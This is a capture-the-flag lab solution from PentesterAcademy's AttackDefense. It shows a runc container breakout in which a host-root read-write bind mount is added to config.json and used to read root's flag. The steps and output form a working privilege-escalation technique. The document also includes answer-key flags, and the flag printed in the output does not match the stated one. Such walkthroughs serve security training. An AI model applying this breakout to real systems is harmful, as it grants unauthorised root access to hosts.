ATTACK DEFENSE

by PentesterAcademy

Name	Low-Level Container Runtime
URL	https://attackdefense.com/challengedetails?cid=1453
Type	DevSecOps : Docker Breakouts

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Leverage runc to escalate privileges and retrieve the flag stored in the home directory of the root user on the host system!

Solution:

Step 1: Check runc help

Command: runc -help

```
student@localhost:~$ runc -help
NAME:
   runc - Open Container Initiative runtime

runc is a command line client for running applications packaged according to
the Open Container Initiative (OCI) format and is a compliant implementation of the
Open Container Initiative specification.
```

```
COMMANDS:
     checkpoint  checkpoint a running container
     create      create a container
     delete      delete any resources held by the container often used with detached
     events      display container events such as OOM notifications, cpu, memory, and
     exec        execute new process inside the container
     init        initialize the namespaces and launch the process (do not call it out
     kill        kill sends the specified signal (default: SIGTERM) to the container'
     list        lists containers started by runc with the given root
     pause       pause suspends all processes inside the container
     ps          ps displays the processes running inside a container
     restore     restore a container from a previous checkpoint
```

Step 2: Get the template specification in JSON file. runc spec command generates specification in config.json file

Command: runc spec

```
student@localhost:~$ runc spec
student@localhost:~$ ls -l
total 4
-rw-rw-r-- 1 root student 2618 Nov 30 16:57 config.json
student@localhost:~$
```

Step 3: Add the following config to mounts section in the config.json. This is to mount host filesystem in the container. Once we succeed in doing this, we will have RW permission on the entire filesystem!

```
"hostname": "runc",
"mounts": [
        {
                "type": "bind",
                "source": "/",
                "destination": "/",
                "options": [
                        "rbind",
                        "rw",
                        "rprivate"
                ]
        },
        {
                "destination": "/proc",
                "type": "proc",
                "source": "proc"
        },
```

Config:

```
{
        "type": "bind",
        "source": "/",
        "destination": "/",
        "options": [
```

```
                "rbind",
                "rw",
                "rprivate"
        ]
},
```

Step 4: Create “rootfs” directory in the working directory as this directory will be used by container.

Command: mkdir rootfs

```
student@localhost:~$ mkdir rootfs
student@localhost:~$ ls -l
total 8
-rw-rw-r-- 1 root    student 2747 Nov 30 17:01 config.json
drwxrwxr-x 2 student student 4096 Nov 30 17:02 rootfs
student@localhost:~$
```

Step 5: Start the container using runc.

Command: runc run demo

```
student@localhost:~$ runc run demo
# pwd
/
```

Step 6: Retrieve the flag from host machine’s filesystem (which is mounted inside the container).

Command: cat flag

```
# cd /root
# ls -l
total 4
-rw-r--r-- 1 root root 33 Nov 30 16:38 flag
# cat flag
dfd200ed9fcc2c72f6c2e68b0928327e
#
```

Flag: d4974ae46bb7e922703e77497a53d091

References:

1. runc (https://github.com/opencontainers/runc)